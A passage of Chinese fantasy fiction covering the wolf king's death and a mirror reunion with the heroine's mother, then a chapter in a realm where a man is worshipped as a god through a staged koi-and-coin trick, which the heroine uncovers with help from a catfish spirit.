那笑容和之前不一样。那笑容里有释然,有解脱,有一种等了二十年终于等到的东西。
“傻孩子。”他说,“这不是你说了算的。”
他闭上眼睛。
然后他动了。
这一次,他没有放水。
他扑向路君,快得像一道闪电,猛得像一阵飓风。他的爪子拍下来,带着二十年的压抑,带着一辈子的遗憾,带着说不出口的爱,带着放不下的牵挂——
路君躲不开。
她知道自己躲不开。
她闭上眼睛,等着那一掌落下来。
可那一掌没有落下来。
她睁开眼睛,看见狼王站在她面前,爪子悬在她头顶,一寸之遥。
他在抖。
浑身都在抖。
那双眼睛里,有什么东西在闪。那是眼泪。
“我下不了手。”他说,声音沙哑得像石头摩擦,像锈蚀的刀,像破碎的钟,“我下不了手。”
路君看着他,看着他抖,看着他哭,看着这个高大的、威严的、不可一世的狼王,在她面前哭得像一只受伤的幼崽。
“我活了这么久。”他说,“见过这么多人。可我从来没有见过像她那样的女子。”
他的眼泪流下来,滴在路君脸上,滚烫滚烫的。
“她含恨出走的时候,我没有追。”他说,“她孤身入敌军的时候,我没有帮。她深陷背叛的时候,我没有在。”
他看着她。
“她死的时候,是我亲手杀了她。”
路君说不出话来。
“她让我杀她。”狼王说,“她说,只有这样,你才能成为狼王。她说,只有我死了,你才能摆脱种人的身份。”
他忽然笑了,那笑容里全是眼泪。
“可我不想死。”他说,“我想看着你。我想知道你过得好不好。我想知道你有没有吃饱,有没有受伤,有没有笑过。我想知道你喜欢什么,讨厌什么,害怕什么。我想知道你有没有想过我,哪怕一次。”
他伸出手——伸出爪子,轻轻摸了摸路君的头。
那动作很轻,很轻,像怕碰碎了什么珍贵的东西。
“可我知道,我活着,你就永远是种人。永远是那个被赶出去的、不被接受的、没有家的孩子。”
他的手在抖。
“所以,我必须死。”
路君哭着摇头。
“不要……”她说,“不要……”
狼王看着她,看着这个小小的、瘦弱的、满脸泪痕的女儿。
“傻孩子。”他说,“这不是你说了算的。”
他闭上眼睛。
然后他倒了下去。
他倒在地上,灰白色的皮毛沾满了泥土和草屑,却依然威风凛凛。他的眼睛还睁着,看着路君,看着这个女儿,看着这个他爱了一辈子却不知道怎么爱的孩子。
“我……”他的声音越来越弱,像风中的残烛,“我多么羡慕你啊……”
路君跪下来,抱住他。
他的身体还是温的,皮毛还是软的,可他的眼睛正在一点一点失去光彩。
“不要……”她哭着说,“不要死……”
狼王抬起爪子,轻轻摸了摸她的脸。
那爪子曾经撕碎过无数猎物,曾经打败过无数对手,曾经在这片草原上无人能敌。可现在,它只是轻轻地、轻轻地,摸着她的脸。
“她如果能也将我这么放心尖上……”他笑了笑,“我也不会……这么孤单……”
路君哭得说不出话。
“算了……”狼王说,“以后的路,你要自己走了……”
他闭上眼睛。
最后一口气吐出来的时候,一股神秘的力量从他身上涌出,冲进路君的身体里。
路君浑身一震。
她感觉有什么东西在身体里炸开,有什么东西在脑子里苏醒,有什么东西在眼睛里变得不一样了。
她抬起头,看向这个世界。
然后她愣住了。
这个世界,和她
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以前看见的,完全不一样。
原来太阳可以这么暖,暖得让人想流泪。
原来风吹在脸上可以这么舒服,像母亲的手在抚摸。
原来草是绿的,绿得发亮;天是蓝的,蓝得透明;花是香的,香得醉人。
原来可以不担惊受怕。
原来可以不用厮杀才能活着。
原来可以不用从野兽嘴里抢食物也能活。
原来可以不用趴着睡觉,不用竖着耳朵听动静,不用随时准备逃跑。
原来可以抬起头走路,可以大声笑,可以做自己想做的事。
原来还可以活得这般体面。
她跪在那里,抱着狼王的身体,看着这个世界,眼泪止不住地流。
这时,白骨伞降落,跳下来一只大耳朵小狗,发财跑过来,蹭着她的腿,呜呜叫着。
云河走过来,站在她身边。
“他给你留了东西。”她说。
路君抬起头,看着她。
“什么?”
云河没有回答。她只是看着狼王的身体,看着那双终于闭上的眼睛,看着那张终于平静的脸。
“他把他能给的,都给你了。”她说。
路君低头看着狼王,看着这个曾经赶她出去、却又一直看着她的父亲。她想起他说的话:你被赶出去那天,我就跟着你。你趴在地上,三天三夜,我就在远处,趴了三天三夜。
她的眼泪又流下来。
“我恨过他。”她说,“可现在,我不知道该恨谁了。”
云河没有说话。
她只是站着,看着路君,看着她哭,看着她抱着狼王的身体,看着她一点一点接受这个事实。
过了很久,路君站起来。
她擦了擦眼泪,看着云河。
“我娘在哪?”她问。
云河看着她。
“你想见她?”
路君点头。
云河沉默了一会儿。
“跟我来。”
云河带路君走到一处山崖下。
那里有一面镜子。
不是普通的镜子。它很大,很大,比人还高,镶在一块黑色的石头上,像一扇门,通向另一个世界。镜面是银色的,却照不出人影,只有一片模糊的光,在缓缓流动。
“这是你娘留下的。”云河说。
路君看着那面镜子,心跳忽然快了起来,快得像要从嗓子眼里蹦出来。
“她在里面?”
云河点头。
“她一直在等你。”
路君走上前,站在镜子面前。
镜面上的光慢慢散开,像风吹散了雾,露出一个身影。
那是一个女人。
不,是一个女子。
她很美,美得让人不敢直视。她的眉眼很冷,冷得像冬天的冰,像高山上的雪,像深潭下的水。可她的嘴角带着笑,笑得很暖,暖得像春天的风,像冬天的阳,像这世间所有温柔加起来那么多。
她看着路君,看着这个女儿,看着这个她拼了命也要保护的孩子。
“你来了。”她说。
路君的眼泪流下来。
“娘……”
鸦狼看着她,看着这张沾满泪痕的脸,看着那双和她一模一样的金色眼睛。
“别哭。”她说,“哭了就不好看了。”
路君哭着笑了一下。
鸦狼也笑了。
“他走了?”她问。
路君点头。
鸦狼沉默了一会儿。
“他给你留了东西。”她说,“对吧?”
路君点头。
鸦狼看着远方,看着那看不见的山丘,看着那看不见的狼王,看着那些看不见的过往。
“他其实是个傻子。”她说,“一辈子都不知道自己要什么。”
路君听着。
“可他是爱你的。”鸦狼说,“他只是不知道怎么爱。”
路君的眼泪又流下来。
鸦狼看着她,看着这个女儿,看着这个她拼了命也要保护的孩子。
“云河。”她忽然说。
云河走上前,站在镜子旁边。
“我以为你会孤傲一生。”云河说,“原来你也会相信感情。”
鸦狼笑了。
“是啊。”她说,“年轻时候话说太满,现在遭报应了。”
云河看着她。
“如果你放弃她,我可以帮你重新开盘。”
鸦狼摇摇头。
“又奋头拼战吗?”她说,笑容里有一丝苦涩,一丝释然,“我曾以为我会戎马一生,从不沾染温柔乡。谁知不过是一碗过石溪水,竟让我记挂了这么多年。”
云河沉默了一会儿。
“你要认命?”
鸦狼看着她。
“阿云。”她说,“我这一生全靠血肉谱写。老天似乎从未给我活路,闷头将我往死路里推。每一次我以为自己完了,每一次我又爬起来。每一次我以为自己输了,每一次我又赢回来。可笑的是,我活到比谁都风光。”
她顿了顿。
“我没想倒在战场上。”她说,“我倒在了她的哭声里。”
她看着路君。
“我想她活。”她说,“活得像个真正的人。不计任何代价。”
云河没有说话。
“她会是我给老天最狠的反击。”鸦狼说,眼睛里有光在闪,那光很亮,很亮,像点燃了整个镜中世界,“最低贱的生命,以最不可能的姿态活下来。还有什么比这更刺激的?连老天都斗不过我。”
路君听着,眼泪止不住地流。
“娘……”
鸦狼看着她。
“路是狼的路,君是人的君。”她说,“你想走哪条路,你自己选。”
路君哭着点头。
“我选了。”她说,“我选了。”
鸦狼笑了。
那笑容很美,美得像春天的花开满山野,美得像冬天的阳光洒满雪原,美得像这世间所有美好的东西加在一起。
“那就好。”她说。
镜面上的光开始变淡。
“娘!”路君扑上去,“你别走!”
鸦狼看着她,看着这个女儿,看着这个她拼了命也要保护的孩子。
“傻孩子。”她说,“我一直在你心里。”
光散了。
镜子里只剩一片模糊的银。
路君跪在地上,抱着那面镜子,哭得撕心裂肺。
发财跑过来,舔她的脸,舔她的手,呜呜叫着,像是在说:还有我,还有我,我在这儿,我一直都在。
云河站着,看着这一幕,一动不动。
过了很久,很久,路君的哭声渐渐停了。
她站起来,擦了擦眼泪,看着云河。
“我娘她……”她的声音沙哑,“她是个什么样的人?”
云河沉默了一会儿。
“她是个不肯认命的人。”她说。
路君看着她。
“然后呢?”
云河想了想。
“然后她生了你。”她说,“然后她发现,认命,有时候比不认命更难。”
路君愣住了。
云河没有再说话。
她转身,朝山丘的方向走去。
路君站在原地,抱着发财,看着她的背影。
“云河姐。”她忽然喊。
云河停下脚步。
“谢谢你。”路君说。
云河没有回头。
“不用。”她说,“这是我欠她的。”
路君站在原地,看着她的背影越来越远,越来越小,最后消失在夕阳里。
她低头看着发财,看着那双亮晶晶的眼睛。
“发财。”她说,“我娘说,她在我心里。”
发财歪了歪脑袋,圆溜溜的眼睛盛着少女的倒影,一派天然。
路君忍不住笑了。
她抱着发财,朝山丘的方向走去。
那里,狼群在等她。
那里,有她新的家。
夕阳西下,天边一片金红。
草原上,一个狼人少女抱着一只奶黄色的小狗,一步一步,走向山丘。
她的影子被拉得老长,长长的,瘦瘦的,却走得很稳,很稳,像有人在身后推着她,像有人在前面等着她,像这世间所有的温柔都在陪着她。
远处,山丘上,狼群在等着他们的新王。
风吹过来,带着青草的气息,带着泥土的气息,带着自由的气息,带着爱的气息。
发财从她怀里探出脑袋,冲着夕阳嗷呜了一嗓子。
“嗷——呜——”
那声音又尖又细,却充满了力量,飘向远方,飘向天边,飘向那个有狼王、有鸦狼的世界。
森林深处,隐隐约约的,有狼嚎传回来。
一声接一声,此起彼伏,像是在回应,又像是在——
欢迎。
9. 逆境
白骨伞撑开时,陈瑶瑶已经习惯了那种溺水般的失重感——像被一只温柔的手攥住五脏六腑,轻轻拧了一把,然后松开。
但这次落地不太顺利。
伞骨卡在半空,抖了三抖,愣是没把人吐出来。
云河皱眉,抬手敲了敲伞面:“发财,出来。”
伞里传来一阵哼哼唧唧的挣扎声。
“发财?”陈瑶瑶凑过去。
伞面鼓起一个包,又缩回去,再鼓起一个更大的包——像有什么东西卡在通道口,进退两难。
云河叹了口气:“发财,你是不是又偷吃夜宵了?”
话音刚落,伞里传出一声委屈的呜咽。紧接着,一只奶黄色的屁股从伞骨缝隙里挤出来,四条小短腿在空中乱蹬,愣是蹬不到实地。
陈瑶瑶赶忙伸手去接——太重了,差点没托住。
发财终于从伞里挣脱出来,趴在陈瑶瑶怀里,低着脑袋,心虚地舔舔嘴巴,又伸长舌头去舔云河的手。那双黑溜溜的眼睛眨巴眨巴,写满了“我知道错了但我真的很饿”的讨饶。
陈瑶瑶不忍心,举手坦白:“其实不怪它,是我额外喂了果子。”
云河看着这只明显圆润了一圈的小兽,无奈摇头:“它不能再胖了。不然下次卡在境与境的缝隙里,再也出不来。”
发财听到这话,耳朵瞬间耷拉下来,整只狗缩成一颗奶黄色的毛球,往陈瑶瑶怀里拱。
陈瑶瑶后悔极了,搂紧它:“我没想到会这么严重。我保证再也不多喂了。”
云河没再说什么,只是伸手揉了揉发财的脑袋。那动作很轻,像是在确认它还好好的。
陈瑶瑶看着这一幕,忽然想起公孙潜龙说过的话——“云河对那只狗,宠得没边儿了。”
确实。
最后一套备用衣服被发财咬成拖把,云河都没真生气。现在只是叹了口气,连句重话都没有。
发财从陈瑶瑶怀里探出脑袋,对着云河讨好地摇了摇尾巴。
云河:“……走吧。”
两人一狗落在一处街市上。
陈瑶瑶刚站稳,就被眼前的景象震住了。
街头巷尾,目光所及之处,全是同一个人。
那人的脸贴在每一面墙上、每一根柱子上、每一扇窗户上——纸张大小不一,有的精致彩印,有的粗糙手绘,但画的是同一张脸:
五官硬朗,浓眉大眼,鼻梁挺直,称得上英俊。
但嘴唇格外薄,抿着的时候,显得有点薄情。
海报下方统一印着两个字:林森。
陈瑶瑶还没回过神,一阵声浪扑面而来:
“林森——你是我们的神——我们永远爱你——!”
人群从街角涌来,男男女女老老少少,举着牌子挥舞着横幅,脸上带着一种陈瑶瑶从未见过的狂热。那眼神亮得吓人,像溺水的人抓住浮木,像朝圣的人望见神殿。
陈瑶瑶下意识往后退了一步,后背撞上云河。
云河面无表情地看着人群,淡淡开口:“走吧,找个地方落脚。”
她们沿着街边往前走,避开人群。但避不开那些海报——林森的脸无处不在,从墙壁上俯视着她们,从窗户里凝视着她们,从每一个角落投来那种薄情的、似笑非笑的目光。
发财趴在陈瑶瑶肩上,好奇地东张西望。
忽然,一个七八岁的小姑娘从旁边跑过,脚下一滑,半趴在地上。
“哎呀——!”
陈瑶瑶眼疾手快,一把扶住她。
小姑娘回头,一张圆圆的脸蛋,眼睛水汪汪的,冲她甜甜一笑:“谢谢谢谢!”
她手里抱着的一沓东西掉在地上,散落一片——全是卡片,大大小小,全是林森的脸。
陈瑶瑶弯腰替她捡。
小姑娘蹲下来,一边捡一边打量陈瑶瑶,忽然从里面挑出几张边角有点暗的卡片,热情地塞过来:“这些送你啦!不用客气,收下吧!”
陈瑶瑶一愣,连忙摆手:“我顺手而已,不用不用。我看你很珍视这些卡片,对我没什么用,你还是自己留着吧。”
小姑娘的动作顿住了。
她抬起头,难以置信地看着陈瑶瑶:“你……居然不要我们的神?”
陈瑶瑶也愣住了:“啊?你们的神……是这些卡片?”
小姑娘瞪大眼睛,像看怪物一样看她:“你连林森大人都不认识?不可能吧!”她指了指卡片上的人,“林森,林森大人!你不认识?”
陈瑶瑶摇头。
小姑娘更震惊了:“喂,你别跟我装哦。虽然你打扮得像外地人,但不可能没听过林森大人的名号。”
陈瑶瑶确实打扮得不像本地人——她还穿着从德德镇带出来的旧衣裳,洗得发白,和这街市上花花绿绿的衣衫格格不入。
云河在旁边静静看着,没有插话。
小姑娘已经自顾自地说起来:“林森大人是我们逆境最出名的人!他能完成所有人的心愿!你知道锦鲤吗?他能一手掌握幸运之神锦鲤!人人都亲眼见过他能操控幸运硬币!还有还有,他有一条巨大的鲶鱼,能听他调遣!那鲶鱼可厉害了,听说能吞掉人的霉运!”
小姑娘的眼睛越说越亮,整个人都在发光。
陈瑶瑶听着,眉头微微皱起。
她看向云河。
云河也在看着那些海报,目光淡淡的,看不出在想什么。
小姑娘还在说:“你们运气真好,今天正好是林森大人赐福的日子!就在前面的锦鲤池!你们一定要去看看!”
她说完,抱着卡片蹦蹦跳跳跑了,跑出几步又回头,冲陈瑶瑶挥手:“记得去看哦!林森大人可灵了!”
陈瑶瑶看着她消失在人群里,转头问云河:“你怎么看?”
云河:“去看看。”
发财适时地“汪”了一声,表示赞同。
锦鲤池在街市中心,一个巨大的圆形水池。
池水清澈见底,里面游着几十条红白相间的锦鲤,肥硕慵懒,慢悠悠地摆着尾巴。池边围满了人,男女老少,密密麻麻,每个人都攥着几枚铜钱,脸上带着期盼。
池中央有一座石台,台上站着一个人。
正是海报上那个男人——林森。
真人比画像更瘦一些,五官更锐利一些,嘴唇更薄一些。他穿着一身月白长衫,站在阳光下,衣袂被风吹起,确有几分“神”的味道。
他双手虚抬,示意人群安静。
人群立刻安静下来,落针可闻。
林森开口,声音温和而笃定:“诸位,今日又是赐福之日。锦鲤池中,有能实现心愿的幸运之鱼。只需投下一枚铜钱,诚心许愿,锦鲤自会感应。若铜钱落入鱼口,心愿必成。”
人群爆发出欢呼。
林森微微一笑,那笑容很淡,恰到好处,既显得亲近,又保持距离。
他从袖中取出一枚铜钱,高举过头顶。
所有人都屏住呼吸。
林森轻轻一弹——铜钱在空中划过一道弧线,落入池中。
一条锦鲤猛然跃起,张嘴接住铜钱,溅起一串水花。
人群沸腾了。
“真的!真的能接住!”
“林森大人果然是神!”
“我也要投!我也要!”
铜钱如雨点般落入池中。锦鲤们纷纷跃起,一条接一条,精准地接住铜钱,然后沉入水底。
陈瑶瑶站在人群外围,看得目瞪口呆。
她扯了扯云河的袖子:“这……这是真的?那些鱼怎么那么准?”
云河没回答,只是看着池中央的林森。
林森站在石台上,面带微笑,俯视着疯狂投钱的人群。那笑容看起来很慈悲,但陈瑶瑶总觉得哪里不对。
忽然,池水深处有什么东西一闪而过。
一道巨大的黑影,从池底缓缓游过。
比任何一条锦鲤都大,大得多。
陈瑶瑶心跳漏了一拍。
那黑影游到池中央,停住了。
然后,池水开始翻滚。
一条巨大的鲶鱼从水中缓缓升起——灰黑色的皮肤,光滑黏腻,两根长长的须子在水中飘荡。它张开嘴,露出一排细密的牙齿,一口吞下了十几条锦鲤。
人群尖叫着后退。
但林森抬起手,笑着安抚:“不必惊慌。这是神使鲶鱼,它在吞噬霉运。被它吃掉的锦鲤,会在明日重生。”
人群渐渐安静下来,甚至有人开始欢呼。
“神使!神使!”
“林森大人果然有神使庇护!”
鲶鱼沉入水中,消失不见。
陈瑶瑶却注意到一件事:
那条鲶鱼沉下去之前,看了林森一眼。
那眼神……怎么说呢,不太像“神使”看“神”的眼神。
更像是……无奈。
入夜。
锦鲤池边安静下来,只有月光洒在水面上,泛着粼粼波光。
林森独自站在池边,脸上没有了白天的微笑,只剩疲惫。
他看着池水,忽然开口:“今天又吞了十七条。你胃口越来越大了。”
水面泛起涟漪。
一颗脑袋从水中缓缓冒出来——那张脸美得惊心动魄,眉眼如画,皮肤白得近乎透明,湿漉漉的黑发贴在脸颊上,像刚从墨池里捞出来的玉石雕像。
是白天那条鲶鱼。
但此刻,他是人形。
少年从水中浮起,坐在池边,甩了甩头发上的水珠,懒洋洋地说:“我吞的是铜钱,又不是鱼。那些鱼自己躲得慢,怪我?”
林森瞥他一眼:“你明明可以用别的法子,非得吞?”
少年摊手:“我乐意。”
月光照在他脸上,那张脸美得不真实,带着一种非人的妖冶。但眼神清澈得很,像个贪玩的孩子。
林森沉默片刻,忽然问:“你说,他们真的信吗?”
少年歪头:“谁?”
林森看着远处灯火通明的街市,看着那些还没有散去的、举着他海报的人:“他们。信我能实现心愿,信我是神。”
少年笑了。那笑容里有一丝意味不明的东西:“你不是一直想要这个吗?不用干活,不用科课,不用被人赶来赶去,坐享供奉,从此生活无忧。现在实现了,你又不高兴?”
林森没说话。
少年站起来,走到他身边,和他并肩看向远方:“林森,你知道人和鱼最大的区别是什么吗?”
林森看他。
少年说:“鱼只有七秒记忆。被骗了,转身就忘。人不一样。人记仇,也记恩。你给了他们一个盼头,他们就死心塌地信你。这不是你想要的吗?”
林森沉默很久,低声说:“我只是没想到……这么容易。”
少年笑了:“容易?你六岁开始科课,学了十二年,被赶出来的时候差点跳河。这叫容易?”
林森转头看他。
月光下,少年的眼睛亮晶晶的,像两汪深不见底的潭水。
林森忽然问:“你帮过多少人?”
少年愣了一下,想了想:“算上你,九十九个。”
林森:“还差一个?”
少年点头:“还差一个。帮完最后一个,我就能离开这个破池子,想去哪儿去哪儿。”
林森看着他:“那你为什么还在这儿?以你的本事,随便找个人帮帮忙,不是很简单?”
少年没回答。
他只是看着远处的灯火,忽然笑了:“林森,你说,如果有一天,他们发现那些硬币其实什么都没实现,会怎么样?”
林森心头一跳。
少年转头看他,眼神里有一种奇怪的东西——不是威胁,不是嘲讽,而是一种……悲悯?
“他们会恨你。”少年说,“会把你今天得到的一切,连本带利拿回去。会把你踩进泥里,骂你是骗子、是妖怪、是该死的畜生。”
林森脸色微变。
少年拍拍他的肩,语气轻松起来:“所以啊,趁着还没被发现,好好享受吧。”
他转身,准备跳回水里。
林森忽然叫住他:“等等。”
少年回头。
林森看着他,一字一句地问:“你到底是谁?你为什么在这儿?那个法阵……真的是困住你的吗?”
少年顿住了。
月光下,他的表情有一瞬间的凝滞。
然后他笑了,那笑容和白天林森站在石台上的笑容很像——温和,笃定,恰到好处。
他说:“我叫阿鲶。我是个种人。水里有个法阵,我出不来。我要帮够一百个人,才能解脱。”
和第一次见面时说的,一模一样。
林森还想再问,阿鲶已经跳进水里,消失不见。
水面泛起涟漪,很快归于平静。
林森站在池边,看着那片幽暗的水面,忽然想起阿鲶说过的一句话:
“人们大多时候要的只是一个美好的期盼,你只要给他们一个向往的方向就行。”
当时他觉得这话太对了。
现在他却开始想:那然后呢?
给了期盼,然后呢?
第二天。
陈瑶瑶起得很早,或者说,一夜没睡踏实。
她脑子里一直转着昨天看到的那些画面——狂热的人群,精准的锦鲤,巨大的鲶鱼,还有林森那个似笑非笑的表情。
她总觉得哪里不对。
发财趴在她枕边,睡得很香,小肚子一起一伏。
陈瑶瑶轻手轻脚起床,推开门。
云河已经在院子里了,正看着手里的白骨伞。
陈瑶瑶走过去:“云河,我……”
云河抬眼看她。
陈瑶瑶鼓起勇气:“我想去锦鲤池看看。不是瞎逛,是……是我想弄明白,那些鱼为什么能接住硬币。”
云河看着她,目光里有一丝意外,也有一丝欣慰。
“去吧。”云河说。
陈瑶瑶一愣:“你不跟我一起?”
云河摇头:“发财还没醒。而且……”她顿了顿,“你自己去。”
陈瑶瑶懂了。
这是让她自己试试。
她深吸一口气,点头:“好。”
锦鲤池边,清晨没什么人。
陈瑶瑶蹲在池边,看着水里慢悠悠游动的锦鲤。它们和昨天一样肥硕,一样慵懒,看不出任何异常。
她从袖子里摸出一枚铜钱——昨天从街上捡的。
轻轻投进去。
铜钱落入水中,缓缓下沉。
一条锦鲤游过来,张嘴——
接住了。
陈瑶瑶瞪大眼睛。
太准了。准得不像是巧合。
她又投一枚。
又是一条锦鲤接住。
再投。
再接。
陈瑶瑶数了数,投了十枚,接了九枚。
她站起来,后退一步,盯着水面。
忽然,她想起一件事。
昨天林森投的那枚铜钱,落点很偏,离那群锦鲤很远。但有一条鱼从旁边游过来,正好接住。
好像……是故意游过去接的。
不是鱼主动接硬币,而是硬币落的地方,刚好有鱼等着?
陈瑶瑶心跳加快。
她又投了一枚——这次用力投到最远的角落。
硬币落水。
没有鱼。
再投。
还是没有。
陈瑶瑶站起身,看着那池平静的水,脑子里忽然冒出一个念头:
如果那些鱼接硬币,不是因为它们能感应心愿,而是因为……
有人在下面指挥它们?
她想起昨天那条巨大的鲶鱼。
想起它沉下水之前看林森的那一眼。
想起它张开嘴,一口吞掉十几条锦鲤的画面。
陈瑶瑶蹲下来,把手伸进水里。
水很凉。
她轻声说:“有人在下面吗?”
水面泛起涟漪。
没人回答。
陈瑶瑶等了一会儿,正准备站起来——
一只手忽然从水中伸出,攥住了她的手腕!
陈瑶瑶吓得差点叫出声,另一只手死死捂住嘴。
一颗脑袋从水里冒出来。
那张脸美得惊心动魄,湿漉漉的黑发贴在脸颊上,眼睛亮晶晶的,带着笑意。
他竖起一根手指,贴在唇边:“嘘——”
陈瑶瑶瞪大眼睛,看着他。
少年从水里浮起来,坐在池边,甩了甩头发上的水珠:“你挺聪明啊,小姑娘。”
陈瑶瑶心跳如鼓,但强作镇定:“你是……那条鲶鱼?”
少年挑眉:“我叫阿鲶。不是‘那条鲶鱼’。”
陈瑶瑶看着他,忽然问:“那些鱼接硬币,是你指挥的?”
阿鲶笑了,笑得很灿烂:“聪明。”
陈瑶瑶:“那林森……”
阿鲶摆摆手:“他是负责站在上面笑的。我负责在水里忙活。”
陈瑶瑶愣住:“你们……合伙骗人?”
阿鲶歪头看她:“骗人?我们给人一个盼头,他们给我们铜钱。各取所需,怎么叫骗?”
陈瑶瑶被问住了。
阿鲶站起来,背着手在池边踱步:“你知道这境叫什么吗?逆境。什么意思呢?就是在这里,你越努力,越倒霉。你越想出头,越出不了头。科课十二年的,最后被赶出来。勤勤恳恳干活的,最后饿死在路边。而那些什么都不干、只会站在台上笑的人,反而活得最滋润。”
他转头看陈瑶瑶:“你猜,这是为什么?”
陈瑶瑶摇头。
阿鲶说:“因为在这里,被看到,才是第一准则。你干再多活,没人看到,等于没干。你什么都不干,但只要被人看到,被人记住,被人当成神——那你就是神。”
他指了指远处的街市,那些贴满林森海报的墙壁:“他现在被多少人看到?几千?几万?再过几天,就是几十万。到时候,他就是真正的神。这境里的规则,会认他。”
陈瑶瑶听得心惊肉跳。
她忽然想起什么,问:“那你呢?你帮他,是为了什么?”
阿鲶顿住了。
他回头看着陈瑶瑶,眼神里有一瞬间的空洞。
然后他笑了,那笑容很淡:“我?我只是个被困在这池子里的种人。帮够一百个人,我就能离开。”
陈瑶瑶:“还差多少?”
阿鲶:“九十九个。”
陈瑶瑶一愣:“那你帮了林森,他不算?”
阿鲶摇头:“他算。但他是我帮的第一个。后面这九十八个,都是他帮我帮的。”
陈瑶瑶更糊涂了:“什么意思?”
阿鲶指了指远处的海报:“那些人,那些扔硬币的人。他们以为自己是在向林森许愿,其实是在向我许愿。林森只是个中间人,真正帮他们实现心愿的,是我。”
陈瑶瑶瞪大眼睛:“你……你能实现心愿?”
阿鲶笑了笑,没有正面回答。
他只是说:“小姑娘,你记住一句话:在这逆境里,被看到,比什么都重要。林森懂这个,所以他成了神。那些扔硬币的人不懂,所以他们永远是扔硬币的人。”
他转身,准备跳回水里。
陈瑶瑶忽然叫住他:“等等!”
阿鲶回头。
陈瑶瑶看着他,认真地问:“你真的相信,帮够一百个人,你就能离开吗?”
阿鲶的笑容凝住了。
阳光照在他脸上,那张美得不真实的脸,忽然显出一丝疲惫。
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他轻声说:“不信。”
陈瑶瑶愣住了。
阿鲶说:“我在这池子里待了三百年。帮过的人,少说也有几千。但每一次,数到九十九,就会归零。那个法阵从来没松动过。我只是……不知道该信什么,所以继续信着。”
他跳进水里,消失不见。
水面泛起涟漪,很快归于平静。
陈瑶瑶站在池边,看着那片幽暗的水面,心里涌起一种说不清的滋味。
三百年。
几千人。
每次数到九十九,就会归零。
她忽然明白阿鲶看林森的那个眼神了。
那不是无奈,是——
羡慕。
羡慕林森还能被骗,还能相信“帮够一百个人就能离开”这种话。
而他,已经连被骗的资格都没有了。
陈瑶瑶回到住处时,云河正在喂发财。
发财看见她,摇着尾巴跑过来,围着她转圈。
陈瑶瑶蹲下来抱起它,看向云河:“我见到那条鲶鱼了。”
云河抬眼看她。
陈瑶瑶把刚才的事说了一遍。
说完,她问云河:“阿鲶说的那些,是真的吗?在这境里,被看到,就能成神?”
云河沉默片刻,开口:“每个境都有自己的天道法则。逆境的天道,是‘存在即被感知’。在这里,被越多的人看见、记住、相信,就越接近‘真实存在’。如果整个境的人都相信你是神,那你就是神。”
陈瑶瑶听得心惊:“那林森……”
云河:“他正在成神的路上。但他还差一步。”
陈瑶瑶:“什么?”
云河看着窗外,远处锦鲤池的方向:“他需要一场‘神迹’。能让所有人相信,他真的能实现心愿。”
陈瑶瑶心头一跳。
她想起阿鲶说的话:“那些扔硬币的人,以为自己是在向林森许愿,其实是在向我许愿。”
如果阿鲶才是真正实现心愿的人……
那林森的“神迹”从哪儿来?
她忽然站起来。
云河看她。
陈瑶瑶说:“我想再去一趟。”
云河没拦她。
陈瑶瑶抱着发财,快步往锦鲤池走去。
她说不清自己想干什么。
但她总觉得,阿鲶今天跟她说的那些话,像是在……告别。
锦鲤池边,天色渐暗。
陈瑶瑶赶到时,池边空无一人。
水面平静得像一面镜子。
她蹲下来,轻声喊:“阿鲶?”
没有回应。
她又喊了一声。
水面泛起涟漪。
一颗脑袋冒出来——是阿鲶。但这一次,他脸上没有了笑容,只有一种说不清的疲惫。
他看着陈瑶瑶,忽然问:“你觉得,一个人要绝望到什么程度,才会一直相信一件不可能的事?”
陈瑶瑶被问住了。
阿鲶从水里浮起来,坐在池边,看着远处的晚霞:“三百年。我见过无数人跳进这个池子。有的想寻死,有的想发财,有的想出名。我帮他们,他们开心,然后离开。我继续等。等下一个,再下一个。每次数到九十九,就会有人来告诉我:你又得从头开始了。”
他转头看陈瑶瑶:“你知道最可笑的是什么吗?我明知道会归零,还是会数。还是会期待。还是会想:也许这次不一样呢?也许第一百个,真的能让我离开呢?”
陈瑶瑶看着他,心里涌起一种酸涩。
她忽然问:“你今天数到多少了?”
阿鲶笑了笑:“九十九。”
陈瑶瑶心头一震。
阿鲶站起来,伸了个懒腰:“所以我才跟你说那些话。因为明天,可能又得从头开始了。”
他转身,准备跳回水里。
陈瑶瑶忽然喊住他:“等等!”
阿鲶回头。
陈瑶瑶深吸一口气,认真地说:“我帮你。”
阿鲶一愣。
陈瑶瑶说:“你不是还差一个吗?我算不算?我算的话,你今天就满一百了。”
阿鲶看着她,眼睛里的光芒闪了闪。
然后他笑了,那笑容里有温暖,也有苦涩。
他说:“小姑娘,你人不错。但你不是来找我帮忙的。你是来查真相的。这不算。”
陈瑶瑶急了:“那怎样才算?”
阿鲶想了想,忽然问:“你有什么心愿吗?”
陈瑶瑶愣住了。
心愿?
她从来没想过这个问题。
从德德镇逃出来,跟着云河走了一境又一境,她一直是那个“跟着的人”。看着别人做选择,看着别人成长,看着别人改变命运。
她自己的心愿是什么?
阿鲶看着她,眼神柔和下来:“你看,你连自己想要什么都不知道。所以,你帮不了我。”
他跳进水里。
陈瑶瑶站在池边,看着那片水面,心里乱成一团。
发财在她怀里拱了拱,发出轻轻的呜咽。
陈瑶瑶低头看它。
发财抬起头,黑溜溜的眼睛望着她,像是想说什么。
陈瑶瑶忽然问:“发财,你知道我的心愿吗?”
发财歪了歪头,然后伸出舌头,舔了舔她的手。
陈瑶瑶愣住。
然后她笑了。
她蹲下来,对着水面说:“阿鲶,我想明白了。”
水面泛起涟漪。
阿鲶的脑袋冒出来,一脸疑惑。
陈瑶瑶认真地说:“我的心愿是——我想知道,我到底想要什么。”
阿鲶愣住了。
陈瑶瑶继续说:“我不知道这算不算心愿,但这是我现在最想弄明白的事。你如果能帮我弄明白,那……算不算你帮了我?”
阿鲶看着她,眼睛里的光芒越来越亮。
他忽然笑了,笑得像个孩子:“算。”
他从水里浮起来,站在陈瑶瑶面前。
月光照在他身上,他的轮廓开始发光——不是那种刺眼的光,而是柔和的光芒,像水波一样荡漾开来。
他说:“三百年,你是第一个让我觉得……也许真的有希望的人。”
他伸出手,轻轻点在陈瑶瑶额头上。
一股暖流涌入陈瑶瑶体内。
她闭上眼睛,看见了——
自己。
不是现在的自己,而是无数个可能的自己。
有的穿着嫁衣,站在雪桥上,眼里没有光。
有的站在德德镇外,回头看了一眼,然后永远离开。
有的跟在云河身后,永远是“被救的人”。
有的握着白骨伞,替某个人撑开一片天。
有的手臂上有咬痕,但那条手臂正护着身后的人。
她看见了路君、无名、螺螺、公孙潜龙、阎鹤、阿渡……
她看见了那些选择,那些成长,那些改变。
然后她看见了——
